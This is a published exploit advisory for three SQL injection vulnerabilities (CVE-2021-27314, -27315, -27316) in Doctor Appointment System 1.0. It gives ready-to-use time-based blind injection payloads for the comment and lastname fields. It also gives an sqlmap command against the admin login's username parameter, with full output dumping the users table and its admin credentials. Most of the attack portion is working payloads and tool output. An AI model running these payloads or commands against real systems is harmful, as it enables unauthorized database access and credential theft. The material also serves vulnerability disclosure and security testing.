Doctor Appointment System 1.0 SQL Injection

Doctor Appointment System version 1.0 suffers from remote SQL injection vulnerabilities in the username, comment, and lastname parameters.


MD5 | 6f1b18409918b0c8bb487afb82955590

# Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in comment parameter
# Date: 02-03-2021
# CVE: CVE-2021-27315
# Exploit Author: Soham Bakore
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0

Vulnerable File:
----------------
http://host/doctorappointment/contactus.php
<http://host/patient/search_result.php>

Vulnerable Issue:
-----------------
comment parameter has no input validation

POC:
----
1] Navigate to http://host/doctorappointment/contactus.php
2] In the comment parameter enter following payload to exploit blind SQL
Injection: '+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10)))xEII)+AND+'1'%3d'1
3] This can further be escalated to dump sensitive information from the
database
------------------


# Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in
lastname parameter
# Date: 02-03-2021
# CVE: CVE-2021-27316
# Exploit Author: Soham Bakore
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0

Vulnerable File:
----------------
http://host/doctorappointment/contactus.php
<http://host/patient/search_result.php>

Vulnerable Issue:
-----------------
lastname parameter has no input validation

POC:
----
1] Navigate to http://host/doctorappointment/contactus.php
2] In the lastname parameter enter following payload to exploit blind SQL
Injection: '+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10)))xEII)+AND+'1'%3d'1
3] This can further be escalated to dump sensitive information from the
database
------------------

# Exploit Title: Doctor Appointment System 1.0 - SQL Injection in username parameter
# Date: 03-03-2021
# CVE: CVE-2021-27314
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0

Vulnerable File:
----------------
http://host/doctorappointmen <http://host/patient/search_result.php>
tsystem/admin/index.php

Vulnerable Issue:
-----------------
username parameter has no input validation

POC:
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
>sqlmap -r /root/CVE/das/req1.txt --batch --level 5 --risk 3 -p username
--random-agent --dbms mysql -D projectmms -T users --dump
___
__H__
___ ___[)]_____ ___ ___ {1.5.1.40#dev}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program

[14:12:19] [INFO] parsing HTTP request from '/root/CVE/das/req1.txt'
[14:12:19] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0
(Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko)
Version/3.1.2 Safari/525.21' from file
'/usr/share/sqlmap/data/txt/user-agents.txt'
[14:12:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=admin' OR NOT 7090=7090-- kLSr&password=admin&submit=

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: username=admin' OR (SELECT 2815 FROM(SELECT
COUNT(*),CONCAT(0x716a7a6271,(SELECT
(ELT(2815=2815,1))),0x7171706b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- RDnx&password=admin&submit=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 4177 FROM
(SELECT(SLEEP(5)))qiHS)-- gqVm&password=admin&submit=
---
[14:12:19] [INFO] testing MySQL
[14:12:20] [INFO] confirming MySQL
[14:12:20] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.34, Apache 2.4.46
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[14:12:20] [INFO] fetching columns for table 'users' in database
'projectmms'
[14:12:20] [INFO] resumed: 'username'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] resumed: 'password'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] resumed: 'type'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] fetching entries for table 'users' in database
'projectmms'
[14:12:20] [INFO] retrieved: 'admin'
[14:12:20] [INFO] retrieved: 'admin'
[14:12:20] [INFO] retrieved: 'admin'
Database: projectmms
Table: users
[1 entry]
+-------+----------+----------+
| type | username | password |
+-------+----------+----------+
| admin | admin | admin |
+-------+----------+----------+
------------------------------------------------------------------------------------------------------

Related Posts